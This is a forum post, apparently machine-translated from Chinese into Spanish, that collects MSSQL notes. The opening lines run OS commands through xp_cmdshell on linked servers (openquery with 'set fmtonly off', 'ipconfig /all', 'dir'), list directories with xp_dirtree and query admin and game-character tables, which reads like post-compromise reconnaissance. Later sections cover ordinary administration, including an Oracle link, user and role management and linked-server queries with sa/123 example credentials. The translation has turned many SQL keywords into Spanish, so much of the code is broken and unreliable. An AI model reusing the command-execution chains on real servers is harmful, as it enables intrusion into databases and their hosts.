nulo); Create TABLE J8(id int NULL, name nvarchar(256) null);


select * desde openquery

(toatdeweb, 'configurar fmtonly fuera de ejecutiva master.dbo.xp_cmdshell ''usuario de internet'')


Maestro ejecutivo... xp_dirtree

'c:\',1,1
Realiza un directorio de consultas


ejecutivo enlaces.master.. xp_cmdshell 'ipconfig'


select * desde openquery(toatdeweb,'set

fmtonly fuera de exec master.dbo.xp_cmdshell ''ipconfig /all'')



Conecta mysql Select * desde Mem_DB. UserDB.dbo.AdminList


MAESTRO EJECUTIVO... XP_dirtree 'c:\',1,1




Ejecutivo

master.dbo.xp_cmdshell 'dir'


Select count(*) de [indicar]
Consulta cuántos datos hay en la tabla actual




selecciona nombre de host distinto,db_name(dbid),net_address,loginame,program_name

De parte del maestro... sysprocesos






Seleccione * de gameDB01. Server01.dbo.cabal_character_table donde nombre='

Cerdo'





Cuando lo eliminas, dice: La base de datos se está usando y no puede ser eliminada.


Haz clic en la base de datos que quieres eliminar para abrir el Visor de Eventos.


Entrada:


Uso   

Maestro
¡Ve
Luego introduce lo siguiente:
declarar @d varchar(8000)
conjunto @d= ' '
selecciona @d=@d+ ' matar   

'+cast(spid como varchar)+char(13)
De parte del maestro... sysprocesos donde dbid=db_id('nombre de la biblioteca')
ejecutiva(@d)
--
Utiliza el código para eliminar primero el proceso que se conecta a esta base de datos












MSSQL opera Oracle a través de LinkServer






1) Instalar Oracle en el servidor SQL_SERVER 2005

9i. Supongamos que instalamos en el directorio C:\ora92i\. Si D: es una partición NTFS, debes establecer el directorio instalado de ORACLE como el que se usa

Los suscriptores tienen derecho a ejecutar, añadir y eliminar.


2)
Configura el archivo C:\ora92i\network\ADMIN\tnsnames.ora. (El siguiente texto rojo es un ejemplo de configuración)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(DIRECCIÓN = (PROTOCOLO = TCP)(HOST = 192.168.0.11)(PUERTO = 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = orcl)


)


)


3)
Ejecuta el siguiente comando en modo DOS para confirmar que el cliente ORACLE está instalado correctamente.


Usuario/password@ORCL sqlplus


4)
Abrir Inicio - Panel de Control - Servicios y confirmar que el servicio de Coordinador de Transacciones Distribuidas ha comenzado.



5) Open SQL SERVER Management Studio, nombre de la instancia (ORCL) - Objeto servidor (clic derecho) - Nuevo servidor de conexión.


1.      


Servidor de enlace: Escribe el nombre del servidor enlazado, como OracleTest


2.         
Tipo de servidor, seleccionar una fuente de datos diferente


3. Interfaz de acceso:
Seleccionar proveedor de Oracle para OLE DB


4. Nombre del producto: Write Oracle


5. Fuente de datos: Redactar

El nombre del servicio está configurado en el archivo tnsnames.ora, como ORCL


6.         
Cadena de interfaz de acceso: userid=sys como sysdba; contraseña=contraseña


7.         
En la página Seleccionar Opciones de Seguridad, utilice este contexto de instalación para establecer una conexión:


a) Inicio de sesión remoto: usuario (otro usuario, no sys)


b)      

    Usa contraseña: contraseña


8. Establecer "NT AUTHORITY\SYSTEM" en el inicio de sesión local, sistemas de usuario remoto y establecer la contraseña


9.

         Estás seguro


6) Hay dos formas de escribir SQL


a) Uso de la sintaxis de T-SQL:


           SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS


           Ten en cuenta que al introducir sentencias SQL en SQL Query Analyzer, presta atención a los cambios chinos de ancho completo y medio ancho

¡sentido!


b) Utilizar la sintaxis PLSQL:
           SELECT * FROM openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) El segundo método de acceso es aproximadamente un 50% más rápido que el primero; El segundo método de acceso está directamente conectado

ORACLE es comparable; El primer método de acceso puede provocar algunos errores inesperados, como:
           La tabla no existe, ni el usuario actual

No hay acceso a la mesa, y así sucesivamente.


           d) Si la columna a la que se debe acceder utiliza tipos de datos sin precisión, ambos

Este es un error de ORACLE que no puede corregirse y solo puede evitarse mediante un manejo especial de las sentencias de consulta:


     Los metadatos proporcionados por el proveedor de OLE DB 'OraOLEDB.Oracle' para las columnas son inconsistentes. La información de metadatos se modifica en la ejecución.










mssql añadió

Elimina al usuario y concede permisos


Usa el nombre de tu biblioteca   
¡Ve   
--Añadir usuarios   
Ejecutiva sp_addlogin 'Prueba' -- Añadir inicio de sesión   
Ejecutivo

sp_grantdbaccess N'test' - convertirlo en un usuario legítimo de la base de datos actual   
ejecutivo sp_addrolemember N'db_owner',

N'test' - concede todos los permisos a su propia base de datos   
--Esto crea usuarios que solo pueden acceder a su propia base de datos y a lo que está incluido en la base de datos

Tabla pública para usuarios invitados   
¡Ve   
--Eliminar usuario de prueba   
exec sp_revokedbaccess N'test' -- Eliminar el acceso a la base de datos

Límite   
exec sp_droplogin N'test' -- eliminar inicio de sesión   
Si lo creas en Enterprise Manager, usa:   
Gestor Empresarial - Seguridad

Sexo --Clic derecho Iniciar sesión--Nuevo inicio de sesión   
Elementos generales   
--Introduce el nombre de usuario en el nombre   

--El método de autenticación se selecciona según tus necesidades (si usas autenticación de Windows, primero necesitas crear un nuevo usuario entre los usuarios del sistema operativo)   

--En la configuración predeterminada, selecciona el nombre de la base de datos al que quieres acceder para el nuevo usuario   
Elemento de rol del servidor   
No elijas nada en esto   
base de datos

Elemento de acceso   
Comprueba el nombre de la base de datos a la que quieres acceder para el usuario que crees   
Permite en el rol de base de datos, marca "público", "db_ownew"   
Claro, esto

El usuario creado por la muestra es el mismo que el usuario creado por la afirmación anterior   



El último paso es establecer permisos de acceso específicos para usuarios concretos, que pueden referirse al siguiente ejemplo mínimo:   

--Añadir usuarios que solo pueden acceder a la tabla especificada:   
Ejecutivo sp_addlogin 'Nombre de usuario', 'Contraseña', 'Nombre de base de datos predeterminado'   

--añadir a la base de datos   
Ejecutivo sp_grantdbaccess 'Nombre de usuario'   

--Asignar permisos a toda la tabla   
CONCEDER SELECT , INSERTAR , ACTUALIZAR , ELIMINAR EN LA TABLA 1 A [nombre de usuario]   
--Asignar permisos a columnas específicas   
CONCEDER SELECT , ACTUALIZAR EN tabla1(id,AA) A [nombre de usuario]   


Para configuraciones de seguridad específicas y conocimientos teóricos, consulta SQL Online Help  







Descripción fija del rol de la base de datos   
  db_owner Tener permisos completos en la base de datos.   

db_accessadmin Puedes añadir o eliminar IDs de usuario.   

db_securityadmin Puede gestionar permisos completos, propiedad de objetos, roles y membresías de roles.   

db_ddladmin puede emitir TODOS los DDL, pero no las declaraciones de CONCEDER, REVOCAR o DENEGAR.   

db_backupoperator puede emitir instrucciones DBCC, CHECKPOINT y BACKUP.   

db_datareader Puedes seleccionar todos los datos de cualquier tabla de usuario en la base de datos.   

db_datawriter Puedes cambiar todos los datos de cualquier tabla de usuario en la base de datos.   

db_denydatareader No puedes seleccionar ningún dato de ninguna tabla de usuario en la base de datos.   

db_denydatawriter No puedes cambiar ningún dato en ninguna tabla de usuario de la base de datos.  





Deberías elegir db_datareader, db_datawriter db_accessadmin




5.
Después de que la instancia de SQL Server se inicie en modo de usuario único, la cuenta de administrador de Windows puede usar la herramienta sqlcmd para conectarse en modo de autenticación de Windows

SQL Server。 Puedes usar comandos T-SQL como "sp_addsrvrolemember" para añadir un inicio de sesión existente al rol de servidor sysadmin

O crear una nueva cuenta de inicio de sesión.
Un ejemplo de afirmación es el siguiente:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


VETE


Añadir un privilegio de administrador de sistemas








(1) Gestionar roles de servidor


En SQL Server, existen dos procedimientos almacenados principales que implementan la gestión de roles de SQL Server:


sp_addsrvrolemember

y sp_dropsrvrolemember


sp_addsrvrolemember
Puedes añadir una cuenta de inicio de sesión a un rol de servidor para que sea miembro de ese rol de servidor. La sintaxis es la siguiente:
sp_addsrvrolemember

Inicio de sesión , rol


sp_dropsrvrolemember
Puedes eliminar una cuenta de inicio de sesión de un rol de servidor y, cuando el miembro es eliminado del rol de servidor, ya no tiene ese rol de servidor

Los permisos establecidos. La sintaxis es la siguiente:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rol'


en ese sentido

@loginname es el nombre del usuario registrado; @rolename es un puesto de camarero.




(2) Gestionar roles en bases de datos


En SQL Server se soporta la gestión de bases de datos

Existen seis tipos principales de procedimientos almacenados, y sus significados y sintaxis específicos son los siguientes:


sp_addrole: Se usó para crear un nuevo rol de base de datos;
sp_addrole

Rol, propietario


sp_droprole: Se utiliza para eliminar un rol de base de datos del rol actual de base de datos;
sp_droprole Rol


sp_helprole:

Se utiliza para mostrar toda la información sobre todos los roles de la base de datos en la base de datos actual;
sp_helprole ['papel']


sp_addrolemember: Se usaba para enviar a la base de datos

Añadir usuarios de bases de datos a un rol, que pueden ser roles estándar definidos por el usuario o roles fijos en la base de datos, pero no pueden serlo

Puestos de solicitud.
sp_addrolemember papel, security_account


sp_droprolemember: Usado para eliminar a cierto personaje

hogar;
sp_droprolemember papel, security_account


sp_helprolemember: Se utiliza para mostrar a todos los miembros de un rol de base de datos


sp_helprolemember ['papel']






CONSULTA DE LINKSERVER MSSQL


----------------------------------------------------------------------------------
-- Autor:

htl258(Tony)
-- Fecha : 2010-06-25 22:23:18
-- Versión: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9 de julio de 2008 14:43:34
-- Derechos de autor (c) 1988-2008 Microsoft Corporation
--

Edición para desarrolladores en Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Asunto:
Operaciones de datos SQL entre diferentes bases de datos de servidores
----------------------------------------------------------------------------------
--1.
Crear un servidor de enlaces
--1.1 Crear un nombre de enlace
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', el nombre del servidor remoto

o dirección IP' --
Si tienes un nombre de instancia personalizado, añade "\nombre de instancia"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Crea un inicio de sesión (o crea un mapa de inicio de sesión en un servidor de enlaces) (solo elige una manera)
--1.2.1
Iniciar sesión con autenticación de Windows
EJECUTIVO sp_addlinkedsrvlogin 'LinkName'
--o EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Iniciar sesión con autenticación SQL
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL, 'Username', 'Password'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink', 'false', null,'sa', '123' */
--2.
Operaciones de datos relacionadas con el servidor de enlace
--2.1 Ejemplo de consulta
SELECT * DESDE NombreEnlace.nombre de la base de datos.nombre del esquema.nombre de la tabla
/*例如:SELECT *

DE TonyLink.Mydb.dbo.tb */
--
2.2 Ejemplo de importación
SELECT * INTO nombre de la tabla DESDE LinkName.database.nombre schema.nombre de la tabla
/*例如:SELECT * INTO Newtb

DE TonyLink.Mydb.dbo.tb */
--
2.3 Ejemplo de actualización
ACTUALIZACIÓN NombreEnlace.Nombre de la base de datos.Nombre del esquema.Nombre de la tabla SET campo='valor' DONDE campo='condición'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Personas='g' DONDE Personas='a' */
--
2.4 Eliminar ejemplos
ELIMINAR NombreEnlace.Nombre de la base de datos.Nombre del esquema.Nombre de la tabla DONDE nombre del campo='condición'
/*例如:DELETE

TonyLink.Mydb.dbo.tb WHERE Personas='g' */
--3 mediante función de conjunto de filas (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Método
-
3.1 Método OPENQUERY (requiere la ayuda del servidor de enlaces que acabas de crear):
--
3.1.1 Ejemplo de consulta
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Nombre de arquitectura. nombre de la tabla')
/*
Por ejemplo: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Ejemplos de importación
--3.1.2.1 Importar todas las columnas
INSERTAR OPENQUERY(LinkName, 'SELECT * FROM nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla

') SELECT * DE la tabla local
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

DE TB */
--3.1.2.2
Importar las columnas especificadas
INSERTAR OPENQUERY(LinkName, 'SELECT * FROM nombre de la base de datos. Nombre de arquitectura. nombre de la tabla') (columna, columna...)
columna SELECT,

Column... DE la tabla local
/*
Por ejemplo: INSERTAR OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGO, NIVEL, Personas)
ESCOGER

RANGO, NIVEL, Personas DE TB
*/
--3.1.3
Ejemplos de actualización
ACTUALIZACIÓN OPENQUERY(LinkName, 'SELECT * FROM nombre de la base de datos. Nombre de arquitectura. nombre de la tabla') campo SET = 'valor' palabra WHERE

Segmento = 'Condición'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Personas='a' */
--3.1.4
Eliminar ejemplos
ELIMINAR OPENQUERY(LinkName, 'SELECT * FROM database name. Nombre de arquitectura. nombre de la tabla') DONDE nombre del campo='condición'
/*例

Por ejemplo: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') WHERE Persons='g' */
--3.2
método OPENROWSET (no necesitas usar el nombre del enlace creado). Si el nombre de la instancia conectada no es el predeterminado, tienes que configurarlo en nombre de servidor SQL o dirección IP.

"\nombre de la instancia")
--3.2.1 Ejemplo de consulta
--3.2.1.1
Consulta de métodos de autenticación de Windows (uno de los siguientes métodos es suficiente)
SELECCIONA * DE OPENROWSET('SQLOLEDB', 'server=nombre del servidor SQL o

dirección IP; Trusted_Connection=sí', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla)
SELECCIONA * DESDE OPENROWSET('SQLNCLI',

'server=nombre o dirección IP del servidor SQL; Trusted_Connection=sí', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla)
SELECT * FROM

OPENROWSET('SQLOLEDB', 'server=nombre o dirección IP del servidor sql; Trusted_Connection=sí','SELECT * DE base de datos

Nombre. Nombre de arquitectura. nombre de la tabla')
SELECCIONA * DESDE OPENROWSET('SQLNCLI', 'server=nombre o dirección IP del servidor sql

Dirección; Trusted_Connection=yes','SELECT * FROM nombre de la base de datos. Nombre de arquitectura. nombre de la tabla')
/*
Por ejemplo: SELECT * FROM OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

O: SELECT * DESDE OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=yes',Mydb.dbo.tb)

O: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sí','SELECT *

DE Mydb.dbo.tb')

O: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sí','SELECT *

DE Mydb.dbo.tb')
*/
--3.2.1.2 Consulta de método de autenticación SQL (Uno de los siguientes métodos es suficiente)
SELECT * DESDE OPENROWSET

('SQLOLEDB', 'server=nombre o dirección IP del servidor SQL; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla)
SELECT * FROM

OPENROWSET('SQLNCLI', 'server=nombre o dirección IP del servidor sql; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla)
SELECCIONA * DE OPENROWSET('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; pwd=password','SELECT *

Nombre de la base de datos de FROM. Nombre de arquitectura. nombre de la tabla')
SELECCIONA * DE OPENROWSET('SQLNCLI', 'server=nombre o dirección IP del servidor SQL; uid=

Nombre de usuario; pwd=password','SELECT * FROM nombre de la base de datos. Nombre de arquitectura. nombre de la tabla')
SELECT * FROM OPENROWSET('SQLOLEDB', 'SQL

nombre del servidor'; 'nombre de usuario'; 'contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla)
SELECCIONA * DE OPENROWSET('SQLNCLI', 'NOMBRE DEL SERVIDOR SQL

'; 'nombre de usuario'; 'contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla)
SELECCIONA * DE OPENROWSET('SQLOLEDB', 'NOMBRE DEL SERVIDOR SQL'; ' usuario

nombre'; 'Contraseña', 'SELECCIONAR * DE nombre de la base de datos. Nombre de arquitectura. nombre de la tabla')
SELECT * FROM OPENROWSET('SQLNCLI', 'sql server

nombre'; 'nombre de usuario'; 'Contraseña', 'SELECCIONAR * DE nombre de la base de datos. Nombre de arquitectura. nombre de la tabla')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb)
O: SELECT * DESDE OPENROWSET

('SQLNCLI','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb)
O: SELECT * DESDE OPENROWSET

('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123','SELECT * FROM Mydb.dbo.tb')

o: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; UID=SA; pwd=123','SELECT * FROM

Mydb.dbo.tb')

o: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

o: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

o: SELECT * FROM OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', 'SELECT * FROM Mydb.dbo.tb')

o: SELECT * FROM OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', 'SELECT * FROM Mydb.dbo.tb')
*/
--3.2.2 Ejemplo de importación
--3.2.2.1 Importar todas las columnas
INSERTE OPENROWSET('SQLOLEDB', 'server=nombre o dirección IP del servidor SQL

Dirección; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla)
SELECT * DE la tabla local
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb)
SELECT * DE TB
*/
--3.2.2.2 Importación

Especificar columnas
INSERTA OPENROWSET('SQLOLEDB', 'servidor=nombre o dirección IP del servidor sql; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. rejilla

Nombre del constructo. nombre de la tabla) (columna, columna...)
Columna SELECT, columna... DE la tabla local
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123', mydb.dbo.tb)(RANGO, NIVEL, Personas)
ESCOGER

RANGO, NIVEL, Personas DE TB
*/
--Nota: Para más métodos alternativos, consulta el ejemplo de la consulta .2.1, simplemente reemplaza la función OPENROWSET

El contenido es suficiente.
--3.2.3 Ejemplo de actualización
UPDATE OPENROWSET('SQLOLEDB', 'server=nombre o dirección IP del servidor SQL; uid=nombre de usuario

;p wd=contraseña', nombre de la base de datos. Nombre de arquitectura. nombre de la tabla)
Campo SET = 'valor'
DONDE campo = 'condición'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb)
SET Personas='g'
DONDE Personas='a'
*/
--Nota: Para más métodos alternativos, consulta el ejemplo de la consulta .2.1, simplemente reemplaza el contenido en el OPENROWSET.
--3.2.4 Eliminar la indicación

Ejemplo
ELIMINA OPENROWSET('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; PWD=contraseña', nombre de la base de datos. Nombre del esquema

.nombre de la tabla)
DONDE nombre del campo='condición'
/*
Por ejemplo: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123',mydb.dbo.tb)
DÓNDE

Personas='g'
*/
--Nota:
Para más métodos alternativos, consulta el ejemplo de la consulta .2.1, simplemente reemplaza el contenido en el OPENROWSET.
--3.3 Método OPENDATASOURCE

(No necesitas usar el nombre del enlace creado.) Si el nombre de la instancia de la conexión no es el predeterminado, necesitas añadir \nombre de instancia después del nombre del servidor SQL o la dirección IP

")
--3.3.1
Ejemplo de consulta
--3.3.1.1 Consulta del método de autenticación de Windows (Uno de los siguientes métodos es suficiente)
SELECCIONA * DE OPENDATASOURCE('SQLOLEDB',

'server=nombre o dirección IP del servidor SQL; Trusted_Connection=sí'). Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
SELECT * FROM

OPENDATASOURCE('SQLNCLI', 'server=nombre o dirección IP del servidor sql; Trusted_Connection=sí'). Nombre de la base de datos. Nombre de arquitectura.

Nombre de la tabla
/*
Por ejemplo: SELECT * DE OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=sí'). Mydb.dbo.tb

O: SELECCIONAR * DE OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=sí'). Mydb.dbo.tb
*/
--3.3.1.2
Consulta de métodos de autenticación SQL (uno de los siguientes métodos es suficiente)
SELECCIONA * DE OPENDATASOURCE('SQLOLEDB', 'server=nombre del servidor SQL o

dirección IP; uid=nombre de usuario; pwd=contraseña').
Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
SELECCIONA * DE OPENDATASOURCE('SQLNCLI', 'servidor=nombre o dirección IP del servidor SQL; uid=usuario

Nombre; pwd=contraseña').
Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=nombre o dirección IP del servidor SQL)

Dirección; uid=nombre de usuario; pwd=contraseña').
Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
SELECCIONA * DE OPENDATASOURCE('SQLNCLI', 'Data Source=nombre o dirección IP del servidor sql

Dirección; uid=nombre de usuario; pwd=contraseña').
Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb

O: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb

O: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data

Fuente=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb

O: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data

fuente=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb
*/
Importar todas las columnas
INSERTE OPENDATASOURCE('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; pwd=contraseña').

Según el nombre de la biblioteca. Nombre de arquitectura. Nombre de la tabla
SELECT * DE la tabla local
/*
Por ejemplo: INSERTAR OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb
ESCOGER

* DE TB
*/
--3.3.2.2
Importar las columnas especificadas
INSERTE OPENDATASOURCE('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; pwd=contraseña').

Según el nombre de la biblioteca. Nombre de arquitectura. Nombre de la tabla (columna, columna...)
Columna SELECT, columna... DE la tabla local
/*
Por ejemplo: INSERTAR OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb

(RANGO, NIVEL, Personas)
SELECCIONA RANGO, NIVEL, PERSONAS DE TB
*/
--Nota:
Para más métodos alternativos, véase el ejemplo de la consulta .3.1, simplemente reemplaza el contenido en la función de conjunto de líneas (OPENDATASOURCE).
--Ejemplo de actualización 3.3.3
ACTUALIZACIÓN OPENDATASOURCE('SQLOLEDB', 'servidor=nombre o dirección IP del servidor sql; uid=nombre de usuario; pwd=contraseña').
Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
Campo SET = 'valor'
DONDE campo = 'condición'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb
SET Personas='g'
DONDE Personas='a'
*/
--Nota:
Para más métodos alternativos, véase el ejemplo de la consulta .3.1, simplemente reemplaza el contenido en la función de conjunto de líneas (OPENDATASOURCE).
--3.3.4 Eliminar ejemplo
ELIMINAR OPENDATASOURCE('SQLOLEDB', 'servidor=nombre o dirección IP del servidor SQL; uid=nombre de usuario; pwd=contraseña').
Nombre de la base de datos. Nombre de arquitectura. Nombre de la tabla
DONDE nombre del campo='condición'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; UID=SA; pwd=123').mydb.dbo.tb
DONDE Personas = 'g'
*/
- Nota: Más alternativas

Consulta el ejemplo de la consulta .3.1, solo reemplaza el contenido en la función de conjunto de filas (OPENDATASOURCE).
--
Eliminar el método del servidor enlazado
--Si en el futuro dejas de usar la información del enlace, puedes eliminarla
--4.1
Eliminar la información de inicio de sesión (o eliminar el mapa de nombres de inicio de sesión del servidor vinculado)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
Por ejemplo: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Elimina el nombre del servidor enlazado
EXEC sp_dropserver 'LinkName', 'droplogins' — si se especifican los droplogins,
El mapa de inicio de sesión debe eliminarse antes de eliminar el servidor vinculado
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Adjunto


Cómo obtener el nombre del proveedor (master EXEC.). xp_enum_oledb_providers)
SELECT CAST([Nombre del proveedor] COMO

VARCHAR(30)) NombreProveedor,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
DE

OPENROWSET(
'SQLOLEDB',
'Servidor=.; Trusted_Connection=sí',
'LANZA EL PRIMER MOMENTO;
EJECUTIVO

Maestro... xp_enum_oledb_providers'
)




Anterior:Proceso de gestión de vulnerabilidades y detalles de recompensas en UCloud
Próximo:Hoy puedo coger un tren de vuelta a casa, y no he estado en casa más de medio año
Publicado en 27/9/2017 17:43:11 |
Muy detallado. Gracias
 Propietario| Publicado en 17/6/2023 11:12:11 |
Prueba las pruebas de inyección SQL con la herramienta de infiltración SQLMAP
https://www.itsvse.com/thread-10611-1-1.html
Renuncia:
Todo el software, materiales de programación o artículos publicados por Code Farmer Network son únicamente para fines de aprendizaje e investigación; El contenido anterior no se utilizará con fines comerciales o ilegales; de lo contrario, los usuarios asumirán todas las consecuencias. La información de este sitio proviene de Internet, y las disputas de derechos de autor no tienen nada que ver con este sitio. Debes eliminar completamente el contenido anterior de tu ordenador en un plazo de 24 horas desde la descarga. Si te gusta el programa, por favor apoya el software genuino, compra el registro y obtén mejores servicios genuinos. Si hay alguna infracción, por favor contáctanos por correo electrónico.

Mail To:help@itsvse.com